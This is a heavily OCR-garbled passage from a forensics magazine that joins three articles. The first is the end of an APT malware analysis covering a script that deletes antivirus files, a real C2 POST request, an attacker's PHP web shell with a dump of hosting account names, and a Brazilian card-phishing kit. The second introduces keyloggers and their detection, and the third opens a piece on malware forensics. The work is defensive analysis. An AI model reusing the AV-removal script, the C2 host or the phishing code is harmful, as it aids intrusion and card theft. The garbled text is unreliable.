%ProgramFiles¥\Grisoft

#ProgramfFilesX\NORTON~1

%ProgramFiles®\Microsoft Security Client

Files to move:

#ProgramFiles®\Alwil SoFtware\AvastS\AvastUI.eer%ProgPamFiles%\ﬂlwil Software \AvasthhAvastUI.exa
%ProgramFiles®\Alwil SoFtware\AvastS\AvastSuc.exe|%PPOgPamFiles%\Alwil Softwareb\AvastS\AvastSvc.exa
#ProgramFilesX\AVAST SoFtwane\ﬂvast\ﬂvastSvc.exel%PPogPamFiles%\ﬂVﬂST Software‘\AvastiAvastSvc.exa
#ProgramfFiles®\AVAST SoFtware\Avast\AvastUI.exel%PPogPamFiles%\APAST Softwarel\Avasth\AvastUI.exa

Figure 25. Script written to the disk by overflow.exe

Since The Avengers, at the kernel-level, removes the files commanded by the script, our sample will
remove the presence of some well-known antivirus leaving a free way for the malware to prosper and
grow happy and free.

THE HEIST
Analyzing the results of the malware HTTP requests, we can notice the contact with the host bellow:

http:/ivulcancempresasvi_hospedagemdesites ws/java/conte php

POST /java/conte.php HTTP/1.8

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

Host: wulcancempresasvl.hospedagemdesites.ws
Accept: text/html, */*

User-Agent: Mozilla/3.@ (compatible; Indy Library)

Figure 26. HTTP Request intercepted from the binary

This URL receives all the stolen information from the infected machine. | tried to check if this conte.
php was available but it was not. The current folder was availed and | tried to navigate to the folders
bellow that one and found something very interesting. A folder with a php script called “conn_fabrik.
php”. This name was familiar to me and | accessed it, the result is below:

www.eForensicsMag.com € »
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/£ infectslab:~# [ Since 2005 ] > CMD > File List - Windows Internet Explorer

eForensics

IM a g a zin e

irc.ehnet.org - Fintects

I
a
I i

[ infarma 7es
Sistema: Linux
Uname: Linw: raven.securenst server.net 2.6.10 408.0.2.¢15.lve0.5.61.3 #1 SMP Wed Jul 11 0G:42:35 COT 2012 x06_G4
PHM: 5.3.10, safe modes &
Mathads: wigst curl hyree
Ips 11704001

Command: [ ] [seed]

[~ L ¥ES: [home/idirs/publc_htmifmedia/ - [New Lir] [New File] [Back 1ool]

[ | Browee... | [F=nd]

Hesulfs: unAme -A

~ HTML
- 401 W]

Figure 27. conn_fabrik.php

Linux raven.securenct-server.net 2.6.16-408.8.2.¢15. Tve0.8.61.3 #1 SMP Wed Jul 11 06:49:35 EDT 2012 xB6_64 x06_64 x06_64 GNU/Linux

Perms: Fis e Commands
33188 hip.zip 43,08 KB [Rename] [Cel] [Chmod] [Copy]
16877 ¥l 4KE Rename] [Del] [Chimod] [Copy]
BEE com_fabrik.php 47K Rename] [Del] [Chmod] [Copy]
nee Fabrik_conf.php 66 KE [Dal] [Chmod] [Copy]
WHIT fradgator) AEH [13&l] [t hmod] [Copy]
3366 Jtaccess OKE Rename] [Del] [Chmod] [Copy]
16072 = 4KD Rename] [Del] [Chmod] [Copy]
16877 com_jforms] 1KE [Del] [Chmod] [Copy]
33188 2 acpx TLALKE Ranama] [ Dal] | Chmod] [Copy]
16877 KB ame] mod] [Lopy]
33166 exlralu.jar 2,56 KB [Reranne] [Deel] [Chrmod] [Copy]
177 com 4KD Rereme] [Del] [Chmed] [Copy]
16877 system/ 1KE [el] [Chmed] [Sapy]

Yes, this is a PHP Shell uploaded to the host, and used by the attacker to manage the files used in the
Phishing campaigns. The shell has the ability to send system commands to the bash, upload files, restart

services and much more.

£ infectslab:—# [ Since 2005 ] > CHMD > File List - Windows Internet Explorer

rideoul]:x:953:1933: : /home/ridevut]: fusr/Tocal fcpane] /bindmoshell

goodiell:x:954:1934: ; /home/goodielld: /usr/ocal/cpanel /bin/noshell

cpancleximscanner :x:508:517: : /var /cpane]/userhomes/cpaneleximscanner : fusr/local/cpanel /bin/noshell
cpanclphpgadmin:x:509:519:: /var /cpane] /uscrhomes /cpanc]phpgadmin: fusr /local fepanel /bin/noshell
Janycew :x:955:1935: : /home/ janycevt : jucr/ local fcpanel /bin/nochel |

thomasad:x:0956:1936: : /fhome/thomaz ad: fusr/ local /cpanel /bin/noshel |

kalimhay:x =95 /2149472 : fhome Skalimbhay : jusr Mlocal fepanel fhin/nnshe11

durexpr:x:958:1938: : /home /dur expr : Jusr /local /epanel /hing/noshe11

umakeme] :x:959:1939: : /home/umak eme] : fusr/Tocal /cpanel fbindmoshell

autoline:x:960:1940: : /home/autoline: fusr/local /cpanel /bin/noshell

hogarest:x:961:1941: : /home/hogarest : fusr/local fepane] /bindnoshell

kokchang:x:962:1942: : /home/kokchang: fusr/local/cpanc] /bin/noshell

langkaw? :%:963:1943: : /home/ langkaw : fusr/ lecal /cpanel/ban/noshel |

Tovewood:x =964 1944 : = /home/ lovewood : fusr/local fcpanel /bin/noshell

sentine] zx z9h% 14945 : 2 fhome/sentinel : fusr Mocal fepane] fhin/nnshell

chlawsav:x:966:1946: : /nome/cblawsav: fusr/local/cpanel /bin/noshell

al zaal :x:967:1947: : /hume/al zaal : fusr/Tocal fepanel /bindnoshell

Figure 28. Just send the command: $ cat /bin/passwd

=100 x|
=

E

As you can see, the attacker was not that concerned about the security of his operation center. | tried to
find the database with the stolen information from infected victims but found nothing. | think the attacker

moved the database to another base.



Navigating in the folders inside the shell page, | found a .RAR file and downloaded it. The content was this:

4 | artigo 15/10/2012 1%:36 Documento de folha de...
artigo 15/10/2012 22:23 Arquive JavaScript

4 | BoxFaleConosco 15/10/2012 19:36 Documento de folha de...
4 | Boxlnferior 15/10/2012 19:36 Documento de folha de...
gl busca 15/10/2012 1%:33 Arquivo GIF

EI duvidas_home 15/10/2012 1%:33 Arquive GIF

4 | footer 15/10/2012 19:35 Documnento de folha de...
4 | Header 15/10/2012 1%:35 Documento de folha de...
2| Header 15/10/2012 1%:33 Arquive JavaScript

|B| icoFacebook20 15/10/2012 1%:33 Imagem PMNG

|| icoOrkut20 15/10/2012 1%:33 Imagem PMNG

|| icoTwitter20 15/10/2012 1%:33 Imagem PNG

|BS| icoYoutube 13/02/2013 1&:39 Imagem PMNG
Jquery.maskedinput-1.3.min 15/10/2012 22:15 Arquive JavaScript
jquery-1 15/10/2012 1%:33 Arquivo JavaScript

Izl SeparadorFooter 15/10/2012 1%:33 Argquive GIF

gl SeparadorMenu 15/10/2012 1%:33 Arquivo GIF

4 | Templatelnterna 15/10/2012 19:50 Documento de folha de...

Figure 29. Files inside the downloaded attacker directory

4 KB
2 KB
2 KB
2 KB
2 KB
2 KB
1KB
5KB
KB
2 KB
2 KB
1KB
1KB
4 KB
77 KB
1KB
1 KB
KB

| put these files into my XAMP server used for laboratory and the result was this:

e (=) | (E b /12700181 hip/ D - & | [E] promogaes - Hipercard x
- - " .
o L] . '..'a Hamerv du Seu Hipercard & @
Hipercard St Al Sbia
& -ﬁ_ Dusca: P

Seu Hipercard Seguros Produtos e Servicos Promoctes Hipercard

¥ acessn ans Lnjistas

V8cE estd amiHomae Hipareard > Sau

Sau Hiparcard I'romogao Hipercard

Para vocé
Promogio Hipercard!
Para sua empresa . i 2
Cadastre-ge na promogdo Leva Tudo Hiparcad digitando seus dados abaivo.
Vantagene Hipercard
Nimero do Seu Hipercard:

Hiper Dicas Ve atds

Bomclube Mome impresso no cartio:
Pagamento Fatura Cadige de scguranga:
Eatura Senha du carlde:

Cartio com Chip Concluir

Promocies Hipercard
Campanha AACD

Saiba unde usar v
£eu Hipercard.

Mriviclas
frequentes
Compartilhe!

€] £

i) Dicas de Sequranca A Nipercard Trabalhe Conosco Uma empresa Itald Unibanco Tale Conosco

Figure 30. Phishing landing page posing as a real credit card website

_—

it ¢

A phishing scam website pretending to be a landing page of “Hipercard”, a very common credit card
company here in Brazil. In the form, the attack says to the visitor to fill the input with some credit card in-

formation in order to participate in a sales opportunity.
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Editing the index.php using notepad++ we can see the e-mail address of the attacker:

1 <?php
2 Zemail = "=atar

4 function getIP()

& if (!empty($ SERVER['HITF CLIENT IP'])})
8 Sip = $_SERVER: HITP CLIENT IP']:
1€ elseif (!empty($ SERVER['HTTF ¥ FORWARDED FOR']))
11 [ {
12 $ip = § SERVER['HTTP X FORWARDED FOR'];
14 else
15 [+ [
16 Zip = $_5ERVER: REMOTE RDDR']:
18 return $ip:
20 if (isset($ POST['numerc hiper']))
21 [HA
16 L 2%

Figure 31. Attacker e-mail contact at index.php file

From this, we can learn that this kind of attack can be lead from many vectors and Internet is not a very
safe world to live in.

SUMMARY

| hope you have enjoyed this little walk around the APT Scene analysis. Of course, we can go much
deeper into the analysis but for now, you can on your own in the search of knowledge and more refer-
ences to start your advanced research to improve your skills. | know that there are some gaps in the
analysis but even this article is just scratching the surface of this samples analysis we have taken more
than 25 pages.

EXTERNAL REFERENCE
http://www.cuckoosandbox.org — Very good framework for malware analysis and open source
http://www.malwr.com - Online free instance of Cuckoo Sandbox for you to submit samples
http://ytist.github.io/theZoo — Malware DB is a project created to make the possibility of malware analysis
open and available to the public.

ABOUT THE AUTHOR
Information Security Specialist with 12 years of experience. Huge expertise in Penetration Testing on corpo-
-.'1,‘ rate environment, developing advanced techniques to bypass security devices like IDS/IPS, firewalls, con-

tent filters and endpoint security systems (antivirus, antimalware, hids, etc). Today works as Security Re-
searcher and Lead Penetration Testing at NextLayer Security Solutions.
anderson.tamborim@nextlayer.com.br
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AN INTRODUCTIONTO
KEYLOGGERS

by Irv Schlanger MSIS, ACE, Security+ and Ruth Forese

Keyloggers have the reputation as being one of the more
intrusive kinds of tracking devices. Keylogging refers to the
recording of keystrokes that a user types on a computer.
Keylogging is often associated with malware, where its purpose
is to obtain personal information without a user’s knowledge or
consent. Keyloggers can also be used for other reasons, however,
such as for troubleshooting computer problems and conducting
research. This article introduces various types of keyloggers and
then overviews two types of keylogging software, both of which
require little technical knowledge and can be easily set up by the
average user.

What you will learn:

» The basics of how different kinds
of keyloggers work in a Windows
oS

« Examples of keyloggers that are
available for personal use

* Methods for removing, mitigating
and detecting keyloggers

What you should know:

« Familiarity with Windows system
concepts such as the registry

« Basic understanding of modern
PC system hierarchy

* Optional: How to compile and run
a C++ program

categories: hardware and software. Hardware keyloggers are physical

devices, while software keyloggers are programs that do not require
an external device. Hardware keyloggers might use software to provide addi-
tional functionality, but for the purpose of this article, all hardware keyloggers
have a physical component that is not part of a traditional computer setup.
Below is a basic description of each type:

Keyloggers come in many forms but can be separated in two general

HARDWARE

Hardware keyloggers are usually devices that attach to the port the keyboard
uses to connect to the computer. On most modern systems, hardware key-
loggers connect to a USB or PS/2 port. The keyboard is then plugged into the
keylogger and all keystrokes are recorded onto the device’s internal memory.
Hardware keyloggers have dropped in price in recent years but can still be
expensive depending on their memory capacity. Additionally, hardware de-
vices pose a risk upon removal and installation because they require physi-
cal access to the computer. However, they typically use fewer resources than
their software equivalents and attempted removal can be easier to detect.
These advantages make them preferable in some situations such as on fam-
ily computers or in business environments.

Some hardware keyloggers are relatively simple and record data to a sin-
gle file, while others have a wide variety of features. For example, some
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devices have Wi-Fi capabilities for wireless data transmission via email reports. In this case, the own-
er of the device can gather data without having to physically visit the computer. Hardware keyloggers
also range in memory capacity and size. Most modern keyloggers are small and inconspicuous at a
quick glance. The following can be found on Amazon.com:

Table 1. Table of Various Hardware Keyloggers and Their Features
Keyllama 4MB USB Value Spy Cobra Deluxe PC KeyKatcher (Mini) 64K PS/2

Keylogger Keystroke Remote Hardware Keylogger
Monitoring Software

Photo:
Current Price: 57.99 USD 106.00 USD 33.95 USD
Memory Size: 4MB 4GB 64KB
Physical Size: 1.6in 6in 1.5in
Other Features:  Plug-and-play Screenshot capabilities, remote  Plug-and-play, tamper-proof
data retrieval, encryption seal
SOFTWARE

Software keyloggers are programs that monitor and capture keyboard input. Software keyloggers can be
legitimate programs, but many are obtained covertly as malware. Malicious keyloggers are installed like
most other kinds of malware; for example, through visiting a malicious website or by downloading a Tro-
jan. Some software keyloggers come as part of a suite containing tools such as those for data analysis,
automatic file retrieval and screen capturing.

Different keyloggers interact with different system components to obtain data. Many common key-
loggers use keyboard APIs to intercept communication between the keyboard and user applications.
Most of these keyloggers use a technique called API “hooking” to interact with the state of the operat-
ing system. Although hooking isn’t used, the first software example described later in the article takes
advantage the Windows API to capture keystrokes and will be described in more detail.

Stealthier keyloggers can inject themselves into another program’s executable. In Windows, executing
inconspicuous code may use DLL injection to force an existing process to load a DLL. Other software
keyloggers can even reside at the kernel level and work much closer to the hardware. These programs
are less common and harder to remove. Many kernel-based keyloggers use or replace device drivers to
immediately access keyboard input.

Keylogging remains a popular research topic as technology continues to evolve. Many methods in
research are currently theoretical or impractical but with improvement may someday be used in real-
world applications. For example, a new project in collaboration with the Institute of Computer Science,
Foundation for Research and Technology and Columbia University explored using GPU memory to
log keystrokes. The keylogger stored data directly into GPU memory without requiring kernel modifi-
cation or access to keyboard API (Ladakis, Koromilas, Vasiliadis, Polychronakis, & loannidis, 2013).
Although the current concept required root privileges, a more advanced version would be stealthier as
the keylogging uses the GPU to store data. MIT and Georgia Tech researchers have also used smart-
phone sensors to detect keystrokes on a desktop keyboard. In the experiment, vibrations created on
the desk as the user typed were successfully monitored and logged by the phone (Marquardt, Verma,
Carter, & Traynor, 2011).

Other methods can be used to obtain keystroke data that do not require a specialized software keylog-
ger. For example, packet sniffers can capture passwords and other sensitive information over a network,
and form-grabbers obtain data from forms through the web browser. Although these techniques record
what a user types, they do not fit into a strict definition of “keylogging” because they don’t directly pro-
cess keyboard input.

www.eForensicsMag.com @ @
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USES FOR KEYLOGGERS

The term “keylogging” often has a negative connotation because of its association with malware.
Arguably the most well-known keyloggers are malicious and obtain confidential information for stealing
identities, committing fraud, and other criminal objectives. Keyloggers in these cases are installed as
malware on an unsuspecting person’s machine. However, they have a variety of different purposes. Be-
low are some ways keyloggers are used:

Recording a suspect’s keystrokes for criminal activity

Conducting research in areas such as typing or human-computer interaction
Recording your own keystrokes to measure productivity or improvement
Troubleshooting a computer problem

Logging activity to see if someone is using a computer without the owner’s permission
Monitoring employees to ensure they are complying with company policy

Parental monitoring of minor children for safety reasons

KEYLOGGERS IN THE NEWS
Keyloggers both fight against and facilitate crime. Below are a couple keylogger-related incidents that
have appeared in the news:

THE ZEUS TROJAN

ZeusS is an advanced and infamous Windows Trojan that became widespread in 2009. Its primary pur-
pose is to steal financial information and has so far been responsible for the theft of over 70 million USD
(Federal Bureau of Investigation, 2010). The Trojan takes advantage of botnets to infect personal com-
puters and company networks. ZeusS itself is a large software suite containing functionality such as form-
grabbing and a memory injection-based keylogger (Falliere & Chien, 2009). ZeuS is not as active as it
was a couple years ago but may evolve and become more prevalent in the future.

THE ARREST OF NICODEMO SCARFO

The FBI used a keylogger to gather enough evidence to arrest Nicadermo S. Scarfo Jr., the son of Philadel-
phia mob boss “Little Nicky” Scarfo. The keylogger obtained a PGP key that Scarfo used to encrypt records
of a sports-betting ring and other gambling information. A report suggested that the software was sophis-
ticated and hid in “normally occurring Windows processes” that activated only when a key was being en-
tered (Electronic Privacy Information Center, n.d.). Although the FBI was authorized to install its “Key Log-
ger System,” the case sparked debate over electronic privacy and wiretapping laws in the United States.

PURDUE UNIVERSITY STUDENT HACKERS

Three Purdue University students were accused of hacking into their professors’ computers to change
their grades. The students switched faculty office keyboards with keyboards containing logging devices
to gather passwords and other sensitive information. The students used these credentials to log into
their professors’ accounts and change their grades to higher marks. They were able to alter grades for 4
years, from 2008 to 2012, without detection. The students were charged with multiple computer crime-
related misdemeanors and felonies when they were caught in 2012 (Vaoravong, 2013).

LEGAL ISSUES

The use of keyloggers without the other party’s consent presents a number of legal problems. In the
United States, there is no one law that specifically prohibits keylogging not authorized by a court order
or some other official procedure. The recording of keystrokes is often considered to be a form of “wire-
tapping,” but individual states may interpret federal law differently. For instance, some states require that
both parties involved in data transmission consent to recording of data. Stricter laws such as these make
it easier for keylogging to be considered illegal.

Only single-party consent is required in some states and at the federal level. The definition of keylog-
ging as a criminal activity has been disputed in some court hearings; for example, the Southern District
Court of Indiana ruled in 2011 that the keylogger used in one case was not a form of wiretapping because
the data was not “transmitted” or “stored” in a way that violated the Federal Wiretap Act (Lichter, 2012).

Recent amendments to Title 18, Section 1030 of the United States Code more clearly outline laws for

unauthorized computer use (Prosecuting Computer Crimes). In general, most forms of unauthorized in-
formation gathering and access is now considered illegal. The law is specifically applicable to computers
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owned by the government and financial institutions but has been interpreted to apply to personal devices
as well. Laws regarding issues like cyberwarfare and unauthorized computer access are actively chang-
ing due to the evolution of technology and cyber-crime. Therefore, it is very important that users check
the regulations that apply to their area — whether it be a country, state or organization. The most danger-
ous situations are those without consent where the collection is for a malicious purpose. However, even
those situations may not be criminal depending on specific circumstances.

DETECTION, PREVENTION AND REMOVAL

Both hardware and software keyloggers can be difficult to detect. Instead of making conspicuous system
file changes like many forms of malware, they simply sit and “wait” for a user to perform an action and
record it. Below are some methods for detecting and removing different types of keyloggers:

HARDWARE

In most cases, the only easy way to detect a hardware keylogger is through physical inspection.
Many modern keyloggers are small thumb drive or converter-type devices connected to the PS/2 or
USB ports on the computer, although some advanced keyloggers can be embedded into the key-
board itself. Such devices might require an expert to look for unusual modules or chips inside the
keyboard. Many simpler devices can be removed by simply disconnecting them, but use caution
when handling suspected keyloggers as some might be equipped with an anti-tampering mecha-
nism. Employees should consult their company’s policy before attempting to remove anything from
their computer.

SOFTWARE

There is no one way to detect all kinds of software keyloggers. General antimalware programs can detect
some — these work best with simpler, higher-level keyloggers because they have a standard behavior
that can be recognized more consistently. Common keyloggers may also be discovered by their signa-
ture like other malware. Anti-keylogger programs specifically focus on removing and detecting keylog-
gers, but some can’t distinguish between legitimate software and malware.

Keyloggers can also be hard to differentiate from other software because they rely on functionality
used by many “normal” applications. For example, applications might use keyboard API to recognize
shortcuts and hotkeys, because they need to “listen” for a particular keystroke combination. It's important
to note that most applications do not actually record the keystrokes. However, this shared functionality
can still trick antimalware programs into ignoring potentially harmful software.

Forensic methods can detect keyloggers just like other types of hidden malware. Again, different meth-
ods are effective for different keylogger implementations. In Windows, some keyloggers conduct typical
malware “behavior” such as modifying the registry or forcing executables to use libraries they don’t nor-
mally use. These changes can often be discovered in a simple process or registry monitoring program.
Windows Sysinternals is a free group of system monitoring utilities for the Windows operating system
that administrators often use for diagnosing problems and malware.

KEYSTROKE ENCRYPTION

Keystrokes can be encrypted as they are interpreted by the operating system and before they are sent to
user applications. Encrypted keystrokes can therefore combat a number of higher-level keyloggers, such
as those that hook Windows keyboard APIs. The diagram above demonstrates where encryption and de-
cryption typically take place using keystroke encryption software. Various keystroke encryption programs
are available such as QF X Software’s KeyScrambler. Note that some software encrypt keystrokes at levels
different from the above diagram. Keystroke encryption may be effective against common threats, but it is
not a perfect defense because it is possible for keylogging to occur before encryption or after decryption.
Hardware keyloggers, for example, would still work since they record keystrokes before the data is sent to
the motherboard. High level keylogging-like programs such as form grabbers may also not be affected by
encryption because they could gather data after the keys are decrypted at the application level.

Lastly, sophisticated low-level keyloggers installed in the kernel may be able to bypass the encryption as
well. If a keylogger manipulated an existing driver or added itself as its own driver, then it is possible it runs
at a level “below” the keystroke encryption. Although these types of keyloggers do exist, they are uncom-
mon and harder to install. New theoretical methods to create kernel-level keyloggers are currently being
researched, so current encryption methods may become less effective as malware continues to evolve.
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SOFTWARE EXAMPLES

Below are two examples of keylogging software — one is a simple program in C++, while the other is a
complete suite of user monitoring software. Both examples are fairly easy to set up and use. The pro-
grams were tested on a Windows 7 computer. Note that writing and running the C++ program will require
a text editor and compiler.

WARNING

Check all applicable laws, regulations, and policies in your area before installing and/or using these
programs, even for personal use. Do NOT use the following software for anything other than legal re-
search purposes.

A SIMPLE KEYLOGGER IN C++

Many online tutorials provide step-by-step instructions for building keyloggers. Users with just a little time
and technical knowledge can easily construct their own. Below is a simplified version of a program from
the programming tutorial site WiBit.net. This example demonstrates how a programmer can easily imple-
ment keyboard API to intercept keystrokes. Note that this example is for demonstration purposes only
and is not an effective real-world implementation.

The above program listens for keyboard input using the first whi1e loop. If a key is found, the save meth-
od is called, which saves the key to toc.xT in its proper format. The stea1th method hides the program
from appearing in a console. Notice how this program, minus the optional if statements that format spe-
cial keys not recorded in translatable ASCII, takes less than 50 lines to write.

As stated before, the above program is not reliable in practice. Most modern keyloggers hook the key-
board API to listen for events rather than using getasynckeystate to poll input. They also use DLL injec-
tion to make their programs stealthy, more reliable, and less CPU-intensive. This keylogger would be
easy to detect through a process monitoring tool like the Task Manager and would also fail to recognize
some keystrokes.

RELYTEC ALL IN ONE KEYLOGGER FOR WINDOWS

RelyTec provides a complete spy software suite for Windows called the All In One Keylogger. Besides key-
logging, the program has a range of features that include automatic screen capture, two way instant mes-
saging capture, logging audio and printing, automatic disabling of anti-keylogger software, log encryption,
and report sending through email or FTP. RelyTec provides a complete free trial so users can test it out
before deciding to purchase the full version. Below are some screenshots that demonstrate the software’s
functionality and level of stealth. Under each screenshot is a description of the highlighted features:

THE MAIN WINDOW

| Allln One Keylogger™ V3.7 (only 7 days left to purchase a license) @
Manua support
Control Panel General Settings
- B

Please choose general settings

¥| Runwhen windows starts.
J| Hide entry from the windows staitup st
Hide program brap icon [next to the computer clock].

Always on bop.

¥|  Hide program [ulder while wrnirg.

Miscellaneous

= Open Log Viewer ¥| Hide program process from [ ack Manager.
i . [J Show tios.
Hide (Eec) [ Delete Help (User Manual) file.
- JJ’C:-;;E D Remove icons and entriez from start-menu and uninetall hist.
et UL Status: Logging |
CCO1 |EN|DE|FR|NL|IT|ES|CZ|PT |SC|TR|NO|PL

Figure 2. The window that appears when the All In One Keylogger is opened
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The window above is the main window that appears when the software is opened. The All In One Key-
logger only opens when a password is typed — this password works while using most programs and will
also work from the desktop. Some of the general settings help increase the program’s stealth level; for
example, users can remove Start Menu entries and hide the process from the Task Manager.

A SAMPLE TEXT LOG
All In One Keylogger Log Viewer
Sun Mon Tue Wed Thu Ti Sat [ user . [ Time Stamp | acive windaw B
12 3 4 5 s 10/26/2012 23:04:40  Jump List
6 7 8 9 W 1 12§ ay, 10/26/2013 23:04:41  Windows Internet Cxplorer

13 14 15 16 17 18 19 || pum
20 21 22 23 2+ 25 [ER| rum

1 hitpfiwww. msn.conv?ocikd=iehp - Winduws inlernet Explorer
MSN_com - Windows Internet Explorer

1|27 28 29 30 31 Ruth Program Manager
Huth MSH.com - Windows Internaet h(plnrer
{OToday: 10/26/2013 Ruth ows Internet Explorer
= View | ng Ay Date Pl Futh le Accounte  Windowe Internet Explorer
View Tewtual Log g“;: e et fo
Views Chat Log R::h E :.i.':;;;o:g ic Accounta - YWindowsa Internct Explorer
Wiz el Loy | aut Sl
Viewa File | ng Ruth 1 Unlilled - Notepad =

& Open [
& Untmied - Notepad
4 test- Notepad
ounts - Windows Internet Explorer
Filter Fmpty Rows account accounlpaaa\anrd
= ExportLog
Mz Text Neport
HTHML Repul
Futiart Vizual | ng
Eshizct Audio Log
= ‘iew Cntee Log
‘iew Texiual Log
Views Chat | ng il

Wisws Vicual Log
Wicws Audio Log
Gu Tu Yisual Loy

Figure 3. The text log window

Above is a sample text log. The All In One Keylogger organizes keystrokes by where and when they
occurred. In this example, the user tried to sign into her Google account. The username and password
fields were logged and displayed in the lower half of the window. “Account” was the entered username
and “accountpassword” was the attempted password. The left-hand side displays the options for viewing
and exporting logs.

"‘luq Yiewer (unly 7 days lelt Lo purchase a license) [RUTH-VPC] = [ = r@
| All In One Keylogger Log Viewer
[Prass the image to show it in full screen E
3 3 4 e
EREEER 12 | 10/26/2013 23:05:07

13 14 16 18 17 18 19

w2 2 0 2 x5 E

27 B ¥ N I

OToday: 10/26/2013

‘iew Yisual Log "
Ve S | ng
Go To Textual Log
= Cxportlog
Flar Texl Repurl
HTMI Reprit =|
Exbract Vizual Log
Eshact Audio Log
= iew Cntie Log
Wiew Textual Log
View [ That | ng
Wiew Web Log
‘iew File Log
= Mak Dales With Lugs
Tewtual Dales

LUhat Diates o [F=E s
‘wich Datos - [L] Uses Mame: Ruth =

Daie Todeystog | | el et

. E] Match all of the folowing
o Match any of the following
@ Find Bock v iegubar swach |

Figure 4. The visual log window

The All In One Keylogger takes screenshots whenever the user opens a program or starts typing.
The screenshot above correlates with the text log as the user tried signing into a Google account.
Like text logs, visual logs can be exported and sent to a remote computer through FTP or email.
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7 Process Monitor - Sysintemals: www.sysinternals.com
File Edit Event Fiter Tools Options Help

FH ARE TAS B M8

eFOPEHSICS

a g azine

C:\Program Fleg’

Shuwing G4 of 177,256 events, (1.47%) Racked by virtual memory

Figure 5. Finding the All in One Keylogger using the Windows Process Monitor

The keylogger installs itself in a hidden directory of the user’s choice. By default, the name seems to be
a string of random characters. The name of the executable is also ambiguous. The keylogger is hidden
from simpler process monitoring utilities such as the default Windows Task Manager. However, one can
find the executable operating in more detailed utilities such as Windows Sysinternal’s Process Monitor.
The above screenshot displays a simple filter for operations coming from the “Program Files” system di-

rectory. Note the oddly-named process and directory of execution.

KEYSTROKE ENCRYPTION TEST

encryption_test - Notepad

This 15 a test. are keys still gerving logged?

¥ Lug Voewer (only 1 days left to purchase & heense) [RUTH-VPC]

[ voday: 11/14 2013

| = ViewLogRy Date
Views Testusl Log
Vieay Chat Lng
Wiew Wieb Log
iew File Log
Wiew Vitual Leg
View Audia Lag

Summary
Subscription FREC

v 1.6.2.283
= DpaitLog
Ploir Test Fiepot
HTML Rlepos
Futract Yissal Log

Last Updiate Chack Hever (%]

Etract Ao Log
= View Eniie Log

View Tedtusl Log

View Chat Log

mane
e Rutn's laie time: 0 munutes from totl of: 1 minutes (0°

Go To Visual Log
Filler Emguly Plowes

Figure 6. The Zemana AntiLogger (left window) was able to remove keystroke data before it was detected by the All In One

Keylogger

Zemana AntiLogger Free attempts to replace keystrokes with empty data while they get sent from the
kernel to user applications. The All In One Keylogger did not detect most keystrokes while the AntiLog-
ger was being used, indicating that the keystrokes are being monitored at a higher level in the computer
system. The screenshot attempts to show that the keylogger did not pick up the test written in Notepad
because they were hidden by the AntiLogger. Notice that there is no log data in the time period that the

keystrokes were typed.
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Keyloggers come in a variety of different types, each with their own methods for installation, detection
and removal. Software and hardware keyloggers have their own advantages and capabilities depending
on their level of sophistication. To recap:

+ Almost all hardware keyloggers require physical access to the computer for installation. Models with
high memory capacity and advanced features can be costly but most are inexpensive.

+ Software keyloggers operate in many different ways. Software keyloggers and keylogger-like pro-
grams include but are not limited to form grabbers, kernel-based keyloggers, APl hooking keylog-
gers, and keyloggers that use other techniques such as memory injection.

+ Many software keyloggers can be found using typical memory forensic or process monitoring tech-
niques. Different keyloggers require different methods for discovery and some may be easier to find
than others. For example, the All In One Keylogger was hidden from the Task Manger but discov-
ered in the Sysinternals Process Monitor.

+ Keylogging encryption will effectively combat some higher-level keyloggers. An understanding of
“‘where” the software encrypts and decrypts data on the system hierarchy is necessary to determine
what kinds of keyloggers it can mitigate.

+ Keyloggers are commonly malware, but they can be used for research, law enforcement, and other
purposes.

* The laws and policies regarding keyloggers vary according to location and jurisdiction and are up to
interpretation.

« Although highly sophisticated keyloggers require technical expertise to create and use, extensive
programming experience is not needed to configure less sophisticated keyloggers.

+ Many are even freely available online.
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THE BAREBONES
APPROACHTO
MALWARE FORENSICS

by Charles Coker, Nicole Michaelis and Andrew Akker

For some organizations, a strategic response may not involve
the most sophisticated software tools. In fact, end-user
education and procedures that recognize the end-user’s role in
malware protection and forensics can go a long way toward the
protection of sensitive information assets.

What you will learn:

* Why organizations housing sensi-
tive information should strengthen
their malware defense strategies

* How to develop a malware foren-
sics action plan that focus on strat-
egy, not tools

* The importance of ensuring a
quick and effective response to a
malware infection

» How to train end-users to detect vi-
ruses, quarantine their machines,
and preserve memory

What you should know:

« Familiarity with your organization’s
anti-virus software’s features and
limitations

» Abasic understanding of the work-
place environment

* Familiarity with a Windows com-
puter system

crime community wreaks havoc on retail, technology and financial in-

stitutions. Edward Snowden’s release of top-secret NSA documents
was a powerful example of how damaging data leakage can be. Cybercrime
can endanger governmental and private organizations alike, and malware is
a commonly used tool of the cybercriminal. Target’s data breach, caused by
memory scraping malware software installed at point-of-sale (POS) termi-
nals, may be the largest corporate hack in history. Affecting up to 110 million
customers, Target’s cyber attack occurred on a larger scale than the Neiman
Marcus data breach. However, both incidences of cybercrime were caused
by the same kind of malware. The only way for organizations housing sensi-
tive information to protect company and client data is to respond to malware
with speed and precision.

END-USER EDUCATION

When malware detection software is limited or inadequate, the end-user is
the first line of defense against a malware attack. Anti-virus software and IT
professionals are not always available to identify and treat a malware infec-
tion quickly. Given that the majority of infections start at the PC level, we are
forced to rely on the end-users to accurately identify a threat and to take the
appropriate initial steps. If the proper procedural techniques are not in place,
then malware may not be quickly identified, worms may spread across the
network, users may restart their machines, and the information that IT needs
to do forensics may disappear.

M alware forensics has become increasingly important as the cyber-

End-users must be trained to take the appropriate measures whenever they
determine or suspect that their machine is infected. The end-user’s response
plays a crucial role in malware forensics, but the uneducated end-user can
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also be the weakest point. End-user education can help an organization strengthen its security. In gen-
eral, a user-focused malware awareness training program should provide instruction to end-users on the
following procedures:

Detect Malware
Contact IT

Safeguard the Network
Preserve Memory

MALWARE DETECTION

In general, the longer a system has been infected prior to malware detection, the higher the risk of data
leakage, corruption, and loss. Early malware detection is therefore essential to reducing these risks. If mal-
ware can be detected in the early stages of infection, then the greater the likelihood that malware forensics
can recover system memory and end-user system usage. Early detection, which should coincide with early
isolation from the network, can also prevent computer worms from spreading across the network.

End-users should be equipped with malware identification skills that do not require a technical back-
ground. End-users should be trained to identify these key indicators of a potential malware attack:

Machine is exhibiting abnormal performance
Machine randomly rebooted

Files opened without user opening them
Drives suspiciously full

Malware detection software message

POINT OF CONTACT

It is important that end-users know whom to contact if their machines are infected with malware.
While end-user education is important, assistance from an IT professional is helpful and often re-
quired. End-users should be instructed to contact certain individuals as soon as their machine de-
velops signs of hosting a malware infection. The availability of professional IT help determines what
happens next. If IT professionals are housed in the same building as the end-users, then the end-us-
